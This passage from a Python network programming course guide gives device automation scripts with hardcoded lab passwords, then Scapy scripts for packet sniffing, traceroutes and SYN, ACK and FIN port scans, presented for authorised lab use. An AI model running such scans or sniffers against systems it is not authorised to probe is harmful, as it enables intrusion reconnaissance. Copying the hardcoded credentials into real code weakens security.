3.7.2. Reading Command Output - Cisco IOS XR

#Importing the necessary module(s)


from netmiko import ConnectHandler
import time

#User menu
print '\nPlease choose an action:\n\n1 - Read command output from a single
device\n2 - Read command output from multiple devices\n'

user_choice = raw_input('\nEnter your choice: ')

#Defining actions based on user input


if user_choice == '1':
#Asking the user for input
ip = raw_input('\nEnter the device IP address: ')

username = raw_input('\nEnter username for SSHv2 connection: ')

password = raw_input('\nEnter password for SSHv2 connection: ')

command = raw_input('\nEnter command to send: ')

print '\n'

session = ConnectHandler(device_type = 'cisco_xr', ip = ip, username


= username, password = password)

time.sleep(1)

session_output = session.send_command(command)

time.sleep(1)

print '\nNow what?\n\n1 - Print the output to the screen\n2 - Save


the output to a file\n'

user_choice = raw_input('\nEnter your choice: ')

if user_choice == '1':
print session_output

elif user_choice == '2':


filename = raw_input('\nPlease name your file. Example:
/home/ubuntu/xr1.txt: ')

#Printing the output to a text file.


with open(filename, 'a') as f:
f.write(session_output)

print "\nDone! Check out %s to see the results.\n" % filename

Page 143 of 185


144 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

elif user_choice == '2':


#Asking the user for input
ip = raw_input('\nEnter the device IP addresses separated by comma:
')

username = raw_input('\nEnter username for SSHv2 connection: ')

password = raw_input('\nEnter password for SSHv2 connection: ')

command = raw_input('\nEnter command to send: ')

#Storing the device IP addresses as a list


dev_list = ip.split(',')
#print dev_list

print '\nNow what?\n\n1 - Print the output to the screen\n2 - Save


the output to a file\n'

user_choice = raw_input('\nEnter your choice: ')

if user_choice == '1':
for ip in dev_list:
#Running the code for each device specified by the user
session = ConnectHandler(device_type = 'cisco_xr', ip =
ip, username = username, password = password)

time.sleep(1)

session_output = session.send_command(command)

time.sleep(1)

#Printing the output to the screen


print '\n' + session_output + '\n'

elif user_choice == '2':


filename = raw_input('\nPlease name your file. Example:
/home/ubuntu/xr1.txt: ')

for ip in dev_list:
#Running the code for each device specified by the user
session = ConnectHandler(device_type = 'cisco_xr', ip =
ip, username = username, password = password)

time.sleep(1)

session_output = session.send_command(command)

time.sleep(1)

#Printing the output to a text file.


with open(filename, 'a') as f:
f.write('\n' + session_output + '\n')

Page 144 of 185


145 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

print "\nDone! Check out %s to see the results.\n" % filename

#For using this application on other networking vendors, just replace


device_type = 'cisco_xr' with any of the following:
#device_type = 'cisco_ios'
#device_type = 'juniper'
#device_type = 'arista_eos'

#End of Program

3.7.3. Configuring Devices - Cisco IOS XR

#Importing the necessary module(s)


from netmiko import ConnectHandler
import sys

#User menu
print '\nMake sure you have an username and password and SSHv2 enabled on
the device(s)'

print '\nPlease choose an action:\n\n1 - Send config commands to a single


IOS XR device\n2 - Send config commands to multiple IOS XR devices\n3 -
Send config commands from a file to a single IOS XR device\n4 - Send
config commands from a file to multiple IOS XR devices\n'

user_choice = raw_input('\nEnter your choice: ')

#Defining actions based on user input


if user_choice == '1':
#Asking the user for input
ip = raw_input('\nEnter the device IP address: ')

username = raw_input('\nEnter username for SSHv2 connection: ')

password = raw_input('\nEnter password for SSHv2 connection: ')

commands = raw_input('\nEnter commands to send separated by comma:


')

print '\n'

session = ConnectHandler(device_type = 'cisco_xr', ip = ip, username


= username, password = password)

session_output = session.send_config_set(commands.split(','))

Page 145 of 185


146 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

print "\nDone! Check out %s to see the results.\n" % ip

elif user_choice == '2':


#Asking the user for input
ip = raw_input('\nEnter the device IP addresses separated by comma:
')

username = raw_input('\nEnter username for SSHv2 connection: ')

password = raw_input('\nEnter password for SSHv2 connection: ')

commands = raw_input('\nEnter commands to send separated by comma:


')

print '\n'

for ip in ip.split(','):

session = ConnectHandler(device_type = 'cisco_xr', ip = ip,


username = username, password = password)

session_output = session.send_config_set(commands.split(','))

print "\nDone! Check out %s to see the results.\n" % ip

elif user_choice == '3':


#Asking the user for input
ip = raw_input('\nEnter the device IP address: ')

username = raw_input('\nEnter username for SSHv2 connection: ')

password = raw_input('\nEnter password for SSHv2 connection: ')

commands_file = raw_input('\nEnter the filename. Example:


/home/ubuntu/cmd.txt: ')

print '\n'

session = ConnectHandler(device_type = 'cisco_xr', ip = ip, username


= username, password = password)

session_output = session.send_config_from_file(commands_file)

print "\nDone! Check out %s to see the results.\n" % ip

elif user_choice == '4':


#Asking the user for input
ip = raw_input('\nEnter the device IP addresses separated by comma:
')

username = raw_input('\nEnter username for SSHv2 connection: ')

password = raw_input('\nEnter password for SSHv2 connection: ')

Page 146 of 185


147 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

commands_file = raw_input('\nEnter the filename. Example:


/home/ubuntu/cmd.txt: ')

print '\n'

for ip in ip.split(','):

session = ConnectHandler(device_type = 'cisco_xr', ip = ip,


username = username, password = password)

session_output = session.send_config_from_file(commands_file)

print "\nDone! Check out %s to see the results.\n" % ip

else:
print "\nInvalid input. Exiting...\n"
sys.exit()

#For using this application on other networking vendors, just replace


device_type = 'cisco_xr' with any of the following:
#device_type = 'cisco_ios'
#device_type = 'juniper'
#device_type = 'arista_eos'

#End of Program

Page 147 of 185


148 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

3.8.1. Configuring IP, Remote Access & SNMP Juniper


ScreenOS
(full code, reference: Section 14. Bonus #3. Juniper Network Programming
(ScreenOS))

To allow remote access to your Netscreen device, you must enter the configuration below.

Note! I used this configuration on a Netscreen 5GT firewall, Version 5.4.0.1.

So, to configure an IP address, SSHv2 and SNMP use this configuration:

IP Configuration:

set interface trust manage-ip 172.16.1.7

SSHv2 Configuration:

set ssh version v2

set ssh enable

set admin name mihai

set admin password python

SNMP Configuration:

set snmp auth-trap enable

Checking Configuration:

get interface

Page 148 of 185


149 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

get ssh

get snmp

Saving Configuration:

save

Saving Configuration to a TFTP Server:

save config to tftp 172.16.1.1 netscreen_cfg

Note! Depending on the hardware and software you are using in your network, some
commands, command options or command outputs may be slightly different.

3.8.2. Reading Command Output - Juniper ScreenOS

#Importing the necessary module.


from trigger.cmds import Commando

#Asking the user for input.


devices = raw_input('\nEnter devices separated by comma: ')
commands = raw_input('\nEnter commands separated by comma: ')

#Splitting the devices/commands entered by the user.


devices_list = devices.split(',')
commands_list = commands.split(',')

#Running all given commands on all given devices.


cmd = Commando(devices = devices_list, commands = commands_list)

#Executing all the work in real time.


cmd.run()

#Capturing the results as a dictionary of dictionaries.


#Uncomment 'print result', then save and run the script...
#...to see how Commando returns the results initially.
output = cmd.results
#print output

Page 149 of 185


150 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Using a while loop to allow the user to return and choose another cXdY
combination.
while True:
#Asking the user about the output he wants to obtain.
print '\nNOTE! The format is always cXdY, where X is the command
number and Y is the device number in the lists you enter.\nIf X = a this
means that command Y will be executed on ALL devices.\nIf Y = a this means
that all commands will be executed on device X.\nIf both X = a and Y = a
then all the commands will be executed on all devices.'

user_option_1 = raw_input('\nNow, what do you want to see? Example:


To get the output of command 2 on device 1 just type c2d1: ')

#Identifying the desired command(s) and device(s), based on the user


input above.
#Also addressing the cases where the user wants to run a command on
all devices...
#...in the list OR run all the commands in the list on a single
device.

#Now if the user types 'cad1' for example.


if user_option_1[1] == 'a' and user_option_1[3] != 'a':
user_option_device = int(user_option_1[3])
all_outputs_list = []
for command in commands_list:
cmd_output = output[devices_list[user_option_device -
1]][command]
#Adding hostname before the result
all_outputs_list.append('Device: ' +
devices_list[user_option_device - 1] + ' - Command #' +
str(commands_list.index(command) + 1) + ':\n\n' + cmd_output)
final_result = '\r\n'.join(all_outputs_list)

#Now if the user types 'c1da' for example.


elif user_option_1[1] != 'a' and user_option_1[3] == 'a':
user_option_command = int(user_option_1[1])
all_outputs_list = []
for device in devices_list:
cmd_output =
output[device][commands_list[user_option_command - 1]]
#Adding hostname before the result
all_outputs_list.append('Device: ' + device + '\n\n' +
cmd_output)
final_result = '\r\n'.join(all_outputs_list)

#Now if the user types 'cada' for example, meaning execute all
commands on all devices.
elif user_option_1[1] == 'a' and user_option_1[3] == 'a':
all_outputs_list = []
for device in devices_list:
for command in commands_list:

Page 150 of 185


151 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

all_outputs_list.append('Device: ' + device + ' -


Command #' + str(commands_list.index(command) + 1) + ':\n\n' +
cmd.results[device][command])
final_result = '\r\n'.join(all_outputs_list)

#Finally, if the user types 'c2d1' for example.


else:
user_option_device = int(user_option_1[3])
user_option_command = int(user_option_1[1])
#Adding hostname before the result
final_result = 'Device: ' + devices_list[user_option_device -
1] + '\n\n' + output[devices_list[user_option_device -
1]][commands_list[user_option_command - 1]]

#Print to screen or save to file?


user_option_2 = raw_input('\nOk, all done! Press "p" to print the
result to the screen. Press "s" to save it to a file. (p/s) ')

#Taking action based on user input.


if user_option_2 == 'p':
#Printing the output to the screen.
print '\n'
print final_result

back = raw_input('\nGo back and choose another cXdY


combination? (y/n) ')

if back == 'y':
continue
else:
break

elif user_option_2 == 's':


#Asking the user for the file name.
filename = raw_input('\nPlease name your file. Example:
/home/ubuntu/c2d1.txt: ')

#Printing the output to a text file.

with open(filename, 'w') as f:


f.write(final_result)

print "\nDone! Check out %s to see the results.\n" % filename

back = raw_input('\nGo back and choose another cXdY


combination? (y/n) ')

if back == 'y':
continue
else:
break

#End Of Program

Page 151 of 185


152 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

3.8.3. Configuring Devices - Juniper ScreenOS

#Importing the necessary module.


from trigger.contrib.docommand import CommandRunner

#Asking the user for input.


print '\nNOTE! Make sure all files have "configure terminal" or similar at
line 1.'
print '\nNOTE! Make sure all devices have remote access enabled and
user/pass set.'

#IP addresses are verified by Trigger.


#If an address is not registered in NetDevices you'll get: 'Device not
found in NetDevices: 172.16.1.103'.
#If an address is not reachable you'll get: '172.16.1.101 - Error: An
error occurred while connecting'.
#If a file is not found in the filesystem you'll get an IOError and we
want to catch that exception.
try:
devices = raw_input('\nEnter devices separated by comma: ')
cmd_files = raw_input('\nEnter files separated by comma. Example:
/home/ubuntu/cmd1.txt: ')

#Splitting the devices/commands entered by the user.


devices_list = devices.split(',')
cmd_files_list = cmd_files.split(',')

#Running all commands from all the given files on all given devices.
cmd = CommandRunner(devices = devices_list, files = cmd_files_list)

#Executing all the work in real time.


cmd.run()

print '\nCommands executed successfully on all devices.\n'

#Raise exception in case one file does not exist. IP addresses are already
verified by Trigger.
except IOError, reason:
print '\nError! Reason: ' + str(reason) + '.\n'
print 'Please check the file(s) and paths. Redirecting back to
prompt...\n'

#End Of Program

Page 152 of 185


153 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

3.9. Working With Python And SNMP


(full code, reference: Section 20. Bonus #9. Working With Python And SNMP)

#Importing the necessary module


from easysnmp import Session

#Asking the user for input


ip = raw_input('\nEnter the device IP address: ')

community = raw_input('\nEnter the SNMP community: ')

oid = raw_input('\nEnter the OID or MIB name to work on: ')

#Opening the SNMP session to the device


session = Session(hostname = ip, community = community, version = 2)

while True:
#User input
print '\nChoose the SNMP operation you want to perform on %s:\n\n1 -
SNMP GET\n2 - SNMP SET\n3 - SNMP WALK\ne - Exit program' % oid

user_choice = raw_input('\nEnter your choice: ')

if user_choice == '1':
#Performing SNMP GET
snmp_get = session.get(oid)

#Getting the value returned by the device and coverting it to


ASCII
result = snmp_get.value.encode('ascii')

#Printing the value


print '\nThe result of SNMP GET on %s is:' % oid
print '\n' + result + '\n'

continue

elif user_choice == '2':


#Asking the user what value should be set for oid
value = raw_input('\nEnter the value for the object: ')

#Performing SNMP SET


snmp_set = session.set(oid, value)

print '\nDone. Please check device %s.\n' % ip

continue

elif user_choice == '3':


#Performing SNMP WALK

Page 153 of 185


154 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

snmp_walk = session.walk(oid)

#Printing the result


print '\nThe result of SNMP WALK on %s is:' % oid

for obj in snmp_walk:


print '\n' + obj.value.encode('ascii')

continue

elif user_choice == 'e':


print '\nExiting program...\n'

break

else:
print '\nInvalid input. Exiting...\n'

break

#End Of Program

3.10. Parsing Configuration Files


(full code, reference: Section 21. Bonus #10. Parsing Configuration Files)

#Importing the necessary modules.


from ciscoconfparse import CiscoConfParse

#Defining the list of configuration files to analyze.


cfg_files = ['cisco_cfg', 'arista_cfg', 'hp_cfg']

#Iterating over the files and capturing the interfaces and their ip
addresses.
for cfg_file in cfg_files:
parse = CiscoConfParse("/tftpboot/" + cfg_file)
obj = parse.find_objects_w_parents(r'interface ', r'ip address')
print '\n\n' + cfg_file + '\n'
for interface in obj:
print interface.geneology_text[0] + ': ' +
interface.geneology_text[1]

#End Of Program

Page 154 of 185


155 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

3.11. Configuration Change Management


(full code, reference: Section 22. Bonus #11. Configuration Change Management)

#Importing the necessary modules


import difflib
import datetime
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
from trigger.netdevices import NetDevices
from netmiko import ConnectHandler

#Defining the function for extracting the running config and building the
diff_file, report and master_report files.
def diff_function(device_type, vendor, username, password, command):

#Using Netmiko to connect to the device and extract the running


configuration
session = ConnectHandler(device_type = device_type, ip =
each_device, username = username, password = password, global_delay_factor
= 3)
session_output = session.send_command(command)
cmd_output = session_output

#Defining the file from yesterday, for comparison.


device_cfg_old = 'cfgfiles/' + vendor + '/' + vendor + '_' +
each_device + '_' + (datetime.date.today() -
datetime.timedelta(days=1)).isoformat()

#Writing the command output to a file for today.


with open('cfgfiles/' + vendor + '/' + vendor + '_' + each_device +
'_' + datetime.date.today().isoformat(), 'w') as device_cfg_new:
if vendor == 'arista':
device_cfg_new.write(cmd_output + '\n')
else:
device_cfg_new.write(cmd_output)

#Defining the differences file as diff_file + the current date and


time.
diff_file_date = 'cfgfiles/' + vendor + '/diff_file_' + each_device
+ '_' + datetime.date.today().isoformat()

#The same for the final report file.


report_file_date = 'cfgfiles/' + vendor + '/report_' + each_device +
'_' + datetime.date.today().isoformat()

#Opening the old config file, the new config file for reading and a
new file to write the differences.

Page 155 of 185


156 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

with open(device_cfg_old, 'r') as old_file, open('cfgfiles/' +


vendor + '/' + vendor + '_' + each_device + '_' +
datetime.date.today().isoformat(), 'r') as new_file, open(diff_file_date,
'w') as diff_file:
#Using the ndiff() method to read the differences.
diff = difflib.ndiff(old_file.readlines(),
new_file.readlines())
#Writing the differences to the new file.
diff_file.write(''.join(list(diff)))

#Opening the new file, reading each line and creating a list where
each element is a line in the file.
with open(str(diff_file_date), 'r') as diff_file:
#Creating the list of lines.
diff_list = diff_file.readlines()
#print diff_list

#Interating over the list and extracting the differences by type.


Writing all the differences to the report file.
#Using try/except to catch and ignore any IndexError exceptions that
might occur.
try:
with open(str(report_file_date), 'a') as report_file:
for index, line in enumerate(diff_list):
if line.startswith('- ') and diff_list[index +
1].startswith(('?', '+')) == False:
report_file.write('\nWas in old version, not
there anymore: ' + '\n\n' + line + '\n-------\n\n')
elif line.startswith('+ ') and diff_list[index +
1].startswith('?') == False:
report_file.write('\nWas not in old version,
is there now: ' + '\n\n' + '...\n' + diff_list[index - 2] +
diff_list[index - 1] + line + '...\n' + '\n-------\n')
elif line.startswith('- ') and diff_list[index +
1].startswith('?') and diff_list[index + 2].startswith('+ ') and
diff_list[index + 3].startswith('?'):
report_file.write('\nChange detected here:
\n\n' + line + diff_list[index + 1] + diff_list[index + 2] +
diff_list[index + 3] + '\n-------\n')
elif line.startswith('- ') and diff_list[index +
1].startswith('+') and diff_list[index + 2].startswith('? '):
report_file.write('\nChange detected here:
\n\n' + line + diff_list[index + 1] + diff_list[index + 2] + '\n-------
\n')
else:
pass

except IndexError:
pass

#Reading the report file and writing to the master file.


with open(str(report_file_date), 'r') as report_file,
open('cfgfiles/master_report_' + datetime.date.today().isoformat() +
'.txt', 'a') as master_report:

Page 156 of 185


157 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

if len(report_file.readlines()) < 1:
#Adding device as first line in report.
master_report.write('\n\n*** Device: ' + each_device + '
***\n')
master_report.write('\n' + 'No Configuration Changes
Recorded On ' + datetime.datetime.now().isoformat() + '\n\n\n')
else:
#Appending the content to the master report file.
report_file.seek(0)
master_report.write('\n\n*** Device: ' + each_device + '
***\n\n')
master_report.write(report_file.read())

#Defining the list of devices to monitor. These are my Cisco 2691 /


Juniper SRX100H / Arista vEOS devices. Replace with your own.
devices = ['172.16.1.3', '172.16.1.4']

#Extracting the running config to a file, depending on the device vendor


(Cisco, Juniper or Arista).
for each_device in devices:
lab = NetDevices()
device = lab.find(each_device)

#Using Trigger to check for the device vendor.


if str(device.vendor) == 'cisco':
diff_function('cisco_ios', 'cisco', 'mihai', 'python', 'show
running')

#Using Trigger to check for the device vendor.


elif str(device.vendor) == 'juniper':
diff_function('juniper', 'juniper', 'mihai1', 'python1', 'show
configuration')

#Using Trigger to check for the device vendor.


elif str(device.vendor) == 'arista':
diff_function('arista_eos', 'arista', 'mihai', 'python', 'show
running')

else:
print '\nThis device type is not supported, sorry!\n'

#Sending the content of the master report file


(/cfgfiles/master_report.txt) via email to the network admin.
#Preparing the email.
fromaddr = 'mihai.python@gmail.com'
toaddr = 'mihai.python@gmail.com'
msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = 'Daily Configuration Change Report'

Page 157 of 185


158 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Checking whether any changes were recorded and building the email body.
with open('cfgfiles/master_report_' + datetime.date.today().isoformat() +
'.txt', 'r') as master_report:
master_report.seek(0)
body = '\n' + master_report.read() + '\n****************\n\nReport
Generated: ' + datetime.datetime.now().isoformat() + '\n\nEnd Of Report\n'
msg.attach(MIMEText(body, 'plain'))

#Sending the email.


server = smtplib.SMTP('smtp.gmail.com', 587)
server.ehlo()
server.starttls()
server.ehlo()
server.login('mihai.python', 'python123')
text = msg.as_string()
server.sendmail(fromaddr, toaddr, text)

#End Of Program

Page 158 of 185


159 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

4. Python Network Programming - Part 3: Scapy & Security


Tools

Note! Assuming you have Python and Scapy already installed on your Linux system, you
can easily perform the following attacks and operations on a specified target, using the
code provided below.

Disclaimer

This document contains materials that can be potentially damaging or dangerous.

The information inside this document is provided for educational purposes only and it is
not intended to be put into practice unless you have authorized access to the systems
you are trying sniff, scan, ping or perform any other action presented in this course on.

Any actions and/or activities related to the material contained within this document is
solely your responsibility. All the activities inside this document should be performed only
on authorized isolated, test/lab environments.

Do not use the information and scripts inside this document in a real, production network!

The misuse of the information in this document can result in criminal charges brought
against the persons in question.

The author will not be held responsible in the event any criminal charges be brought
against any individuals misusing the information in this document to break the law.

Page 159 of 185


160 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

4.1. Traffic Sniffing with Scapy

#!/usr/bin/env python

#Importing the logging module


import logging

#This will suppress all messages that have a lower level of seriousness
than error messages.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

#Importing Scapy and handling the ImportError exception


try:
from scapy.all import *

except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

#Setting network interface in promiscuous mode


#Wikipedia: In computer networking, promiscuous mode or "promisc mode"[1]
is a mode for a wired network interface controller (NIC) or wireless
network interface controller (WNIC)...
#...that causes the controller to pass all traffic it receives to the
central processing unit (CPU) rather than passing only the frames that the
controller is intended to receive.
#This mode is normally used for packet sniffing that takes place on a
router or on a computer connected to a hub.

#Also, when using our setup (VirtualBox-to-GNS3), you should go to the


Settings section for the virtual machine you are using...
#...select the adapter that connects to the GNS3 network and set
Promiscuous Mode: Allow All

subprocess.call(["ifconfig", "enp0s3", "promisc"], stdout = None, stderr =


None, shell = False)

#Performing the sniffing function


sniff(filter = "icmp and host 172.16.1.2", iface = "enp0s3", prn = lambda
x: x.summary(), count = 30, timeout = 20)

#To see the list of optional arguments for the sniff() function:
'''
>>> print sniff.__doc__
Sniff packets

Page 160 of 185


161 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

sniff([count=0,] [prn=None,] [store=1,] [offline=None,] [lfilter=None,] +


L2ListenSocket args) -> list of packets

count: number of packets to capture. 0 means infinity


store: wether to store sniffed packets or discard them
prn: function to apply to each packet. If something is returned,
it is displayed. Ex:
ex: prn = lambda x: x.summary()
lfilter: python function applied to each packet to determine
if further action may be done
ex: lfilter = lambda x: x.haslayer(Padding)
offline: pcap file to read packets from, instead of sniffing them
timeout: stop sniffing after a given time (default: None)
L2socket: use the provided L2socket
opened_socket: provide an object ready to use .recv() on
stop_filter: python function applied to each packet to determine
if we have to stop the capture after this packet
ex: stop_filter = lambda x: x.haslayer(TCP)
'''

4.2. Basic Traceroute

#!/usr/bin/env python

#Importing the logging module


import logging

#This will suppress all messages that have a lower level of seriousness
than error messages.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

#Importing Scapy and handling the ImportError exception


try:
from scapy.all import *

except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

#Defining the destination name/IP


target = 'www.google.com'

#Performing the traceroute


ans, unans = traceroute([target], minttl = 1, maxttl = 2, dport = [22, 23,
80], retry = 3, timeout = 2)

Page 161 of 185


162 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#The results
#ans.show()

4.3. TCP SYN Traceroute

#!/usr/bin/env python

#Importing the logging module


import logging

#This will suppress all messages that have a lower level of seriousness
than error messages.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

#Importing Scapy and handling the ImportError exception


try:
from scapy.all import *

except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

#Defining the destination name/IP


target = '4.2.2.1'

#Performing the traceroute


ans,unans = sr(IP(dst = target, ttl = (1, 3)) / TCP(dport = 53, flags =
"S"), timeout = 5)

#The results
ans.summary(lambda(s, r) : r.sprintf("%IP.src% --> ICMP:%ICMP.type% -->
TCP:%TCP.flags%"))

Page 162 of 185


163 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

4.4. UDP Traceroute

#!/usr/bin/env python

#Importing the logging module


import logging

#This will suppress all messages that have a lower level of seriousness
than error messages.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

#Importing Scapy and handling the ImportError exception


try:
from scapy.all import *

except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

#Defining the destination name/IP


target = '8.8.8.8'

#Performing the traceroute


ans,unans = sr(IP(dst = target, ttl = (1, 10))/ UDP() / DNS(qd =
DNSQR(qname = "google.com")), timeout = 5)

#The results
#ans.summary()
ans.summary(lambda(s, r) : r.sprintf("%IP.src%"))

4.5. DNS Traceroute

#!/usr/bin/env python

#Importing the logging module


import logging

#This will suppress all messages that have a lower level of seriousness
than error messages.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

Page 163 of 185


164 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Importing Scapy and handling the ImportError exception


try:
from scapy.all import *

except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

#Defining the destination name/IP


target = '8.8.8.8'

#Performing the traceroute


ans,unans = traceroute(target, maxttl = 10, timeout = 5, l4 = UDP(sport =
RandShort()) / DNS(qd = DNSQR(qname = "www.google.com")))

4.6. TCP SYN Scan

#!/usr/bin/env python

#Importing the logging module


import logging

#This will suppress all messages that have a lower level of seriousness
than error messages.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

#Importing Scapy and handling the ImportError exception


try:
from scapy.all import *

except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

#Defining the destination name/IP


#target = '172.16.1.2'
target = '172.16.1.3'

#Performing the scan - multiple ports


ans, unans = sr(IP(dst = target) / TCP(sport = RandShort(), dport = [111,
135, 22], flags = "S"), timeout = 5)

#The results, based on open/closed ports

Page 164 of 185


165 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

for sent, received in ans:


if received.haslayer(TCP) and str(received[TCP].flags) == "18":
print str(sent[TCP].dport) + " is OPEN!"
elif received.haslayer(TCP) and str(received[TCP].flags) == "20":
print str(sent[TCP].dport) + " is closed!"
elif received.haslayer(ICMP) and str(received[ICMP].type) == "3":
print str(sent[TCP].dport) + " is filtered!"

#Handling unanswered packets


for sent in unans:
print str(sent[TCP].dport) + " is filtered!"

'''
An attacker uses a SYN scan to determine the status of ports on the remote
target.

RFC 793 defines the required behavior of any TCP/IP device in that an
incoming connection request begins with a SYN packet, which in turn must
be followed by a SYN/ACK packet from the receiving service.

When a SYN is sent to an open port and unfiltered port, a SYN/ACK will be
generated.

When a SYN packet is sent to a closed port a RST is generated, indicating


the port is closed. When SYN scanning to a particular port generates no
response, or when the request triggers ICMP Type 3 unreachable errors, the
port is filtered.

Source: https://capec.mitre.org/data/definitions/287.html
'''

4.7. TCP ACK Scan

#!/usr/bin/env python

#Importing the logging module


import logging

#This will suppress all messages that have a lower level of seriousness
than error messages.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

#Importing Scapy and handling the ImportError exception


try:
from scapy.all import *

Page 165 of 185


166 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

#Defining the destination name/IP


#target = '172.16.1.2'
target = '172.16.1.3'

#Performing the scan


ans, unans = sr(IP(dst = target)/TCP(dport = [111, 135, 22], flags = "A"),
timeout = 5)

#The results, based on filtered/unfiltered ports


for sent, received in ans:
if received.haslayer(TCP) and str(received[TCP].flags) == "4":
print str(sent[TCP].dport) + " is UNFILTERED!"
elif received.haslayer(ICMP) and str(received[ICMP].type) == "3":
print str(sent[TCP].dport) + " is filtered!"

#Handling unanswered packets


for sent in unans:
print str(sent[TCP].dport) + " is filtered!"

'''
An attacker uses TCP ACK segments to gather information about firewall or
ACL configuration.

The purpose of this type of scan is to discover information about filter


configurations rather than port state.

When a TCP ACK segment is sent to a closed port, or sent out-of-sync to a


listening port, the RFC 793 expected behavior is for the device to respond
with a RST. Getting RSTs back in response to a ACK scan gives the attacker
useful information that can be used to infer the type of firewall present.
Stateful firewalls will discard out-of-sync ACK packets, leading to no
response. When this occurs the port is marked as filtered.

When RSTs are received in response, the ports are marked as unfiltered, as
the ACK packets solicited the expected behavior from a port.

Source: https://capec.mitre.org/data/definitions/305.html
'''

Page 166 of 185


167 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

4.8. TCP FIN Scan

#!/usr/bin/env python

#Importing the logging module


import logging

#This will suppress all messages that have a lower level of seriousness
than error messages.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

#Importing Scapy and handling the ImportError exception


try:
from scapy.all import *

except ImportError:
print "Scapy package for Python is not installed on your system."
print "Get it from https://pypi.python.org/pypi/scapy and try again."
sys.exit()

#Defining the destination name/IP


target = '172.16.1.2'
#target = '172.16.1.3'

#Performing the scan - multiple ports


ans, unans = sr(IP(dst = target) / TCP(sport = RandShort(), dport = [111,
135, 22], flags = "F"), timeout = 5)

#The results, based on open/closed ports


for sent, received in ans:
if received.haslayer(TCP) and str(received[TCP].flags) == "20":
print str(sent[TCP].dport) + " is closed!"
elif received.haslayer(ICMP) and str(received[ICMP].type) == "3":
print str(sent[TCP].dport) + " is filtered!"

#Handling unanswered packets


for sent in unans:
print str(sent[TCP].dport) + " is open/filtered!"

'''
An attacker uses a TCP FIN scan to determine if ports are closed on the
target machine. This scan type is accomplished by sending TCP segments
with the FIN bit set in the packet header. The RFC 793 expected behavior
is that any TCP segment with an out-of-state Flag sent to an open port is
discarded, whereas segments with out-of-state flags sent to closed ports
should be handled with a RST in response.

Many operating systems, however, do not implement RFC 793 exactly and for
this reason FIN scans do not work as expected against these devices. Some

Page 167 of 185


168 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

operating systems, like Microsoft Windows, send a RST packet in response


to any out-of-sync (or malformed) TCP segments received by a listening
socket (rather than dropping the packet via RFC 793), thus preventing an
attacker from distinguishing between open and closed ports.

Source: https://capec.mitre.org/data/definitions/302.html
'''

4.9. TCP Xmas Scan

#!/usr/bin/env python

#Importing the logging module


import logging

#This will suppress all messages that have a lower level of seriousness
than error messages.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
logging.getLogger("scapy.loading").setLevel(logging.ERROR)

#Importing Scapy and handling the ImportError exception


try:
from scapy.all import *

